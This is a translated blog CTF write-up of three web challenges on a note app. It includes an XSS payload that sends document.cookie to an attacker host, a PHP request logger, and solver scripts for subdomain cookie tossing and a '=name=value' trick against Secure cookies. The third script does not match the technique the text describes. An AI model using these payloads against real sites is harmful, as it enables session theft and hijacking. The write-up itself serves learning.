はじめに
この記事は中国語から翻訳されたもので、もし不自然な部分があれば、どうぞご容赦ください。
本当に長い間CTFをやっていないと感じていましたが、Twitterでこのイベントを見つけて参加しました。
問題
この3つの問題は関連性があり、一つずつ解いていく必要があります。
あなたは通信経路上の攻撃者です。
とあるユーザーの通信を改竄し、秘密のノートを盗み見ましょう。
なお、各種フォルダは以下のようになっています。
ノートを1つだけ管理できるシンプルなサービスです。 今日のminictfの問題3つは全て同じソースコードで動作しており、環境変数によって一部設定が変わります。
- 問1(insecure): https://insecure-aabbccdd.sandbox.tokyo/ で動作しています
- 問2(secure): https://secure-quweroi.sandbox.tokyo/ で動作しています
- 問3(strict-secure): https://strict-secure-mnxzzxcv.sandbox.tokyo/ で動作しています
victim_walker
被害者の以下の行動を自動化したものです。 後述するsample_solverを使う場合には、特に実装を読む必要はありません。 被害者はChromeでアクセスします
被害者は送信されたURLにアクセスします
被害者はノートに秘密の情報を保持しており、これをリークする必要があります
被害者はノートサービスを見ると、保存ボタンを必ず押します
なお、攻撃者は被害者のHTTPレスポンスを書き換えることができます(ブラウザレベルでの改竄なので、名前解決できないホストへの通信もDNS Spoofing考慮せずに偽造できます)。 また、書き換え対象は、想定解に必要な平文の対象(http://*.sandbox.tokyo/配下)リクエストのみにしています。(つまり、ここしか変える必要はないということです)
https://walker-alksdjfla-984167626310.asia-northeast1.run.app/ で動作しています。 全ての問題でこれを使ってください。
同時処理数の上限を定めていますが、定期的にエラーになるようだったらサーバーを増やすので連絡してください。 (そうならないよう上限を決めていますが、負荷が上がるとブラウザが正しく動かないケースもあるのでsolverに自信がある場合は数回試してください)
sample_solver
中間者攻撃によってレスポンスを書き換える際のサンプルコードが入っています。 ここに時間を使うのは非本質なので用意しました。
insecure
第一問は完全に無防備で、クッキー🍪を盗み出すだけで済みます。webappやvictim_walkerを分析する必要さえありません。
(ここでは以前参加したCTF 「Hackergame 2022 Writeup」 で使用した手法を用いています。)
<img src="1" onerror="fetch('http://xxx/ctf_/2022-hackergame_quiz/ustc_quiz.php?g=' + encodeURIComponent(document.cookie))">
サーバー側のコードは以下の通りです(Nginxのログだけを確認することもできます):
<?php
file_put_contents(time(),json_encode($_SERVER));
$image = imagecreatetruecolor(1, 1);
$white = imagecolorallocate($image, 255, 255, 255);
imagefilledrectangle($image, 0, 0, 1, 1, $white);
header('Content-Type: image/png');
imagepng($image);
imagedestroy($image);
solve.js を編集する:
const url = "https://insecure-aabbccdd.sandbox.tokyo/";
const walker_url = "https://walker-alksdjfla-984167626310.asia-northeast1.run.app/"; //docker
// const walker_url = "http://127.0.0.1:3000/"; //docker
(async () => {
//最初に開くURL
const openUrl = "http://insecure-aabbccdd.sandbox.tokyo/";
//改竄対象のURL (httpのみ)
const targetUrl = openUrl;
//改竄されたHTTPレスポンス
const body = `<img src="1" onerror="fetch('http://xxx/ctf_/2022-hackergame_quiz/ustc_quiz.php?g=' + encodeURIComponent(document.cookie))">`;
const r = await fetch(walker_url, {
method: "POST",
headers: { "content-type": "application/json" },
body: JSON.stringify({
challengeId: 1, // 1~3
url: openUrl,
mitmRule: {
targetUrl: targetUrl,
responseCode: 200, // status
responseHeaders: [
{
name: "content-type",
value: "text/html",
},
{
name: "content-length",
value: body.length.toString(),
},
],
body,
},
}),
});
console.log(await r.json());
})();
PS:実際、問題の意味を理解するのにかなり苦労しました。半時間以上かけてようやく solve.js
を実行できましたが、第一問を解いた後時間がなくなりました。
PPPPPS:途中でリクエストがCloudflareにブロックされ、サーバーにログが届かなかったため、最終にXSSプラットフォームを使用してCookieを取得しました:
secure
みんなこの問題ダメみした、ここでは問題解答のアイデアに従って考えてみましょう。
この問題を解くには、被害者と攻撃者の視点を合わせて考える必要があります。振り返ってみると、この問題のタイトルはあまり良くないかもしれません。
HSTS
と名付けた方が良かったかもしれませんね。
HINT
問題文のここにも注目。
HSTSのオプションに注目
ブラウザレベルでの改竄なので、名前解決できないホストへの通信もDNS Spoofing考慮せずに偽造できます。
サブドメインから親ドメインへのちょっかいの出し方を考えてみよう。
http://notexist.secure-quweroi.sandbox.tokyo/ の通信を書き換えて、親ドメインへCookieを書き込もう。
自分自身のSessionにフラグを書き込むことを考えよう。 また、Cookieを完全に上書きするとflagが入手できない、保存するときにだけ有効なCookieを書き込むことはできないだろうか。
コードを精査
いま webapp/src/app.js
を精査しましょう:
if(process.env.CHALLENGE_ID !== '1'){
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: false,
preload: false
}))
}
curl を見てみましょう:
> GET / HTTP/2
> Host: secure-quweroi.sandbox.tokyo
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/2 200
< x-powered-by: Express
< strict-transport-security: max-age=31536000
< content-type: text/html; charset=utf-8
< etag: W/"xxxxx"
< x-cloud-trace-context: xxx
< date: Fri, 14 Feb 2025 11:55:49 GMT
< server: Google Frontend
< content-length: 764
広く知られているように、HSTS を有効にすると、ブラウザはこのドメインを HTTPS にアップグレードします。
つまり、ブラウザが一度アクセスすると、そのドメインに HTTP でアクセスすることはなくなります(includeSubDomains: true
の場合、サブドメインも含まれません)。
もちろん、huggy.moe
は2018年に hstspreload.org
を通じて HSTS サポートを追加しました。
したがって、クッキーに Secure
オプションが設定されていなくても、ダウングレードを通じて直接サイトのクッキーを取得することはできません。
routes/index.js
:
<html>
<meta charset="utf-8">
<body>
<textarea id="content"></textarea>
<br>
<button id="post" disabled>投稿</button>
</body>
<script>
onload = async (event) => {
// アカウントのログイン手続きなしで、直接セッションを発行します
await fetch(../api/auth/session', {method: 'POST'});
// 現在のノートを取得して `textarea` に書き込みます
const note = await fetch(../api/note')
document.querySelector('#content').value = (await note.json()).content;
// 保存時に `/api/note/save` に送信します
document.querySelector('#post').addEventListener('click', function(){
fetch(../api/note/save', {
method: 'POST',
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
content: document.querySelector('#content').value,
})
});
});
document.querySelector('#post').disabled = false;
};
</script>
</html>
victim_walker/app.js
/ doMitm
関数:
+---------------------------------------------+
| ブラザーセッションを作成し、PAGE[id] をアクセスする |
| FLAG を入力し、`投稿` ボタンをクリックします |
+----------------------------------+
|
v
+-----------------------------------------------+
| Fetch.enable / requestPaused |
| HTTP リクエストを傍受します(MITM を偽装) |
| ├─ リクエストが 307 Redirect の場合 -> リクエストを続行 |
| ├─ mitmRule にマッチする場合 -> レスポンスデータを置換します |
+-----------------------------------------------+
|
v
+--------------------------------------------+
| ユーザーが私たちが提供する HTTP ページを開きます |
+--------------------------------------------+
|
v
+--------------------------------------------+
| ユーザーが保存ボタン `#post:not([disabled])` のような要素を見たとき
常に `投稿` ボタンをクリックします
//このユーザーは投稿ボタンがあれば自動的に押下します |
+--------------------------------------------+
HSTS を有効にしているため、ダウングレード攻撃を使用できません。 また、ノートサイトを先に開いてから私たちのページを開くため、flag を2回目に入力することがなく、フィッシングページを作成することも不可能です。
分析
HINTとソースコードを精査から、以下の情報がわかります:
includeSubDomains: false
のため、サブドメインはHSTSに含まれず、MITMに利用可能です。- サブドメインは、ルートドメインのクッキーを設定することができます。
- 親ドメインのクッキーを上書きすると、フラグが何か分からなくなるため、保存パスのみを指定してクッキーを私たちのものに置き換える必要があります。
- 被害者はまずフラグを書き、その後に私たちのMITMのウェブページを開きます。
- 被害者が私たちのMITMを開くと、
#post:not([disabled])
を見てその要素をクリックします。
したがって、この問題の正解が明らかになりました:
- まず自分のクッキーセッションを生成します。
- ランダムなサブドメインに私たちのHTTPの改ざんウェブページを配置します。
- MITMのウェブページで
set-cookie
またはdocument.cookie
を使用して親ドメインのクッキーを設定します。 - 元のURLにリダイレクトしてフラグを取得します。
実戦
まずは自分のセッション(クッキー)を取得します:
❯ curl https://secure-quweroi.sandbox.tokyo/api/auth/session -X POST -v
(略)
* Request completely sent off
< HTTP/2 200
< x-powered-by: Express
< strict-transport-security: max-age=31536000
< set-cookie: minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; Path=/
< content-type: application/json; charset=utf-8
< etag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"
< x-cloud-trace-context: 21f9fe77994c51ac448a43fd6527573d
< date: Mon, 17 Feb 2025 12:15:06 GMT
< server: Google Frontend
< content-length: 2
< expires: Mon, 17 Feb 2025 12:15:06 GMT
< cache-control: private
<
* Connection #0 to host secure-quweroi.sandbox.tokyo left intact
minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409
がクッキーです。
cookieを書き込も: planA header:
set-cookie: minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; domain=secure-quweroi.sandbox.tokyo; path=/api/note/save;
planB js:
document.cookie = "minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; domain=secure-quweroi.sandbox.tokyo; path=/api/note/save;";
redirect
planA header:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Refresh
refresh: 1, url=https://secure-quweroi.sandbox.tokyo/
planB header:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Location
(status = 301 302 307 308 30x が必要です)
location: https://secure-quweroi.sandbox.tokyo/
planC js:
location.href=https://secure-quweroi.sandbox.tokyo/;
solve-2
solve-2.js:
const url = "https://secure-quweroi.sandbox.tokyo/";
const walker_url = "https://walker-alksdjfla-984167626310.asia-northeast1.run.app/"; //docker
// const walker_url = "http://127.0.0.1:3000/"; //docker
(async () => {
//最初に開くURL
const openUrl = "http://h.secure-quweroi.sandbox.tokyo/";
//改竄対象のURL (httpのみ)
const targetUrl = openUrl;
//改竄されたHTTPレスポンス
const body = `<script>
// document.cookie = "minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; domain=secure-quweroi.sandbox.tokyo; path=/api/note/save;";
// location.href="${url}";
</script>`;
const r = await fetch(walker_url, {
method: "POST",
headers: { "content-type": "application/json" },
body: JSON.stringify({
challengeId: 2, // 1~3
url: openUrl,
mitmRule: {
targetUrl: targetUrl,
responseCode: 200, // status
responseHeaders: [
{
name: "content-type",
value: "text/html",
},
{
name: 'set-cookie',
value: 'minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; domain=secure-quweroi.sandbox.tokyo; path=/api/note/save;',
},
// You need use responseCode = 30x to use location
// {
// name: 'location',
// value: 'https://secure-quweroi.sandbox.tokyo/',
// },
{
name: 'refresh',
value: '1, url=https://secure-quweroi.sandbox.tokyo/',
},
{
name: "content-length",
value: body.length.toString(),
}
],
body,
},
}),
});
console.log(await r.json());
})();
get flag:
❯ curl https://secure-quweroi.sandbox.tokyo/api/note -H 'cookie: minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409;'
{"content":"flag{subd0m41n_1s_1n_y0ur_h34rt}"}⏎
小括
ここからは被害者のクッキーをほとんど取得することが不可能になり、既存のクッキーを差し替えるためにイカサマ的な手法を取るしかありません。
もちろん、もしサイトに CSRF
が存在する場合、この攻撃方法は無効になります。
strict-secure
前の問題との違いは以下の通りです:
webapp/src/routes/auth.js
:
res.cookie('minictf', value, {
secure: process.env.CHALLENGE_ID === '3'
})
クッキーに Secure 属性が付与されます。
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie
その他は第2問と違いありません。
ローカル環境を再現し、第2問の解法を適用すると、Secure 属性が付与された後では、http でアクセスしてもクッキーが送信されず、値を設定することもできないことがわかります:
では、他にどのような方法があるのでしょうか?
(私も解説を見て初めて知りました)
ご存知の通り、クッキーの値は以下のような形式です:
name=value; Secure; Path=/xxx;
もし name
が空で、value
が = 記号で始まるとどうなるでしょうか?
set-cookie: =minictf=caafedcd-c42c-49dc-81b6-f0679b5951d7; domain=strict-secure-mnxzzxcv.sandbox.tokyo; path=/api/note/save;'
クッキーは本来 name=value
という形ですが、実際にはパースの過程で value
の後に続く =
記号をエスケープする必要がないため、=name=value
形式にすることが可能です。
そして、この =name=value
形式は name=value
により優先順位の高いになりました:
こうして、第3問はこの謎な特性を利用して解決されました。
const url = "https://strict-secure-mnxzzxcv.sandbox.tokyo/";
const walker_url = "https://walker-alksdjfla-984167626310.asia-northeast1.run.app/"; //docker
// const walker_url = "http://127.0.0.1:3000/"; //docker
(async () => {
//最初に開くURL
const openUrl = "http://h.strict-secure-mnxzzxcv.sandbox.tokyo/";
//改竄対象のURL (httpのみ)
const targetUrl = openUrl;
//改竄されたHTTPレスポンス
const body = `
<script>
location.href="${url}";
</script>
`;
const r = await fetch(walker_url, {
method: "POST",
headers: { "content-type": "application/json" },
body: JSON.stringify({
challengeId: 3, // 1~3
url: openUrl,
mitmRule: {
targetUrl: targetUrl,
responseCode: 200, // status
responseHeaders: [
{
name: "content-type",
value: "text/html",
},
{
name: 'set-cookie',
value: 'minictf=caafedcd-c42c-49dc-81b6-f0679b5951d7; domain=strict-secure-mnxzzxcv.sandbox.tokyo; path=/api/note/save;'
},
{
name: "content-length",
value: body.length.toString(),
}
],
body,
},
}),
});
console.log(await r.json());
})();
まとめ
実はこのCTFはWEBについて教育的な性質が強かったように感じました。
私は =name=value
という不思議な使い方を学びました。
次回も私の認識を覆すような奇妙な特徴を期待しています ^_^。
また、この記事は私たちにいくつかの教訓を教えてくれました。
COOKIE
にはしっかりと制限を加えるべきであり
HSTS
にはサブドメインを適切に設定する必要があります。
重要な操作には CSRF
を追加して、このようななりすましをさらに防ぐ必要があります。
さらに、CTFで Cloudflare を使って cookie を送る際には、防御を一旦オフにすることを考慮しても良いかもしれません。
そうしないと、リクエストを受け取らない場合に自分自身を疑ってしまうことがあります。
また次回は問題を理解してから取り組み、ゆっくり一行一行翻訳することで、むしろ解答速度が早くなるかもしれません?
終
制作・著作
━━━━━
ⒽⓊⒼⒼⓎ